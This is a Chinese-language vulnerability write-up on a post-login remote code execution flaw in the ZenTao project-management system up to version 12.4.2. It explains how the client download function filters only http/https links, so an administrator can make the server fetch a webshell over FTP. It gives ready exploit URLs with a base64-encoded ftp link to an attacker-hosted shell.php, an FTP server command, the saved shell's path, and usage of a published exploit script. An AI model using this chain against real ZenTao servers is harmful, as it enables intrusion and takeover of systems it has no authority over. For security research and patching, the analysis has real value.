禅道<=12.4.2 后台getshell
漏洞利用
Exploit:
http://127.0.0.1/zentao/client-download-1-(base64 encode webshelldownload link)-1.html
http://127.0.0.1/zentao/data/client/1/(download link filename)
复现:
使用FTP****协议下载文件,绕过module/client/ext/model/xuanxuan.php:10 downloadZipPackage 的HTTP****协议过滤。
代码分析
首先该漏洞需要后台管理员权限,所以我们首先登陆至后台。通过下图我们可以看到登陆后的界面URL为:
http://192.168.52.141/zentaopms/www/index.php?m=my&f=index
我们看到后台界面分别对m以及f参数进行传参,那么不难猜出大概就是调用my类下的index方法,我们看一下该段的代码。
在/module/my/lang/zh-cn.php下可以看到存在指向index的方法,这验证了我们上面猜测是正确的,那么我们下面来看一下文件下载漏洞点的代码部分。
漏洞是发生在client类下的donwload函数中,我们定位函数至/module/client/control.php中找到该方法,本段代码大致意思就是会接收三个参数version、os、link,然后去调用downloadZipPackage方法进行文件下载操作,并对一些下载失败事件进行不同回显,比如downloadFail,saveClientError在上图的方法列表我们可以看到他们调用的方法的具体含义,这里就不再赘述,最后如果没有失败事件时间就会返回成功。在downloadZipPackage并不需要os方法,所以这在我们后期利用时也不需要传入该参数。
然后继续跟进downloadZipPackage方法中,注意重点来了,漏洞真正的产生原因就在该方法中。
我们可以看到这段代码首先对传入的link参数进行了base64解码操作,这里的link参数就是我们shell的远程地址,然后下面会通过一个正则表达式进行判断,link地址是否以 http:// 或者 https:// 开头,如果存在则return返回false并退出方法,否则调用方法parent::downloadZipPackage,这里其实忽略了FTP这一文件下载方法,也就是说我们可以通过FTP服务代替进行文件下载操作从而绕过正则的限制。
downloadZipPackage方法就没有什么问题了,就是一段文件下载函数,会通过传入的version值创建并命名在data下创建的文件夹并将下载的文件保存在其中。
漏洞利用
那么这其实就是很清晰了,通过文章开始介绍的m和f参数的调用,我们可以对client类以及download参数进行调用,并传入download参数必要的version以及link参数就可以完成漏洞的利用了。这里的link地址是base64加密后的ftp连接地址,,比如:
ftp://192.168.52.1/shell.php
大家可以直接使用python的pyftpdlib模块开启FTP服务比较方便,命令:
python -m pyftpdlib -p 21 -d .默认开启匿名用户,不需要输入用户名密码。
构建exp如下:
http://ip/zentaopms/www/index.php?m=client&f=download&version=1&link=ZnRwOi8vMTkyLjE2OC41Mi4xL3NoZWxsLnBocA==
可以看到回显弹窗保存成功,然后再到靶机中查看发现下载成功,保存路径至
/zentaopms/www/data/client/1/shell.php
连接木马,成功利用!
漏洞利用EXP
所以本文最突出的一个部分来了,就是我们有EXP啊。通过两个夜晚的努力,终于完成了,其中也碰到了不少坑,但是好在都解决了。下面由我来介绍一下他的使用方法吧。
构建命令:python "Zentao RCE EXP.py" -H http://192.168.52.141 -U admin -P Admin888 -f 192.168.52.1
其中-H指定目标主机,-U指定后台用户名,-P指定密码,-f指定VMnet8网卡的IP,这样虚拟机才能正常访问到物理机的FTP服务,当然如果测试环境也在虚拟机中则可以修改源码自动获取IP即可,这里是以我的环境为准所以没有这么做,也因为我觉得麻烦一点来换取兼容性更好一点是不亏的,所以小伙伴可以自行修改使用,我想这也不难,源码中也标注了修改位置。目前已经上传至github,有兴趣的小伙伴可以自行下载测试。
EXP github地址:https://github.com/wikiZ/Zentao-RCE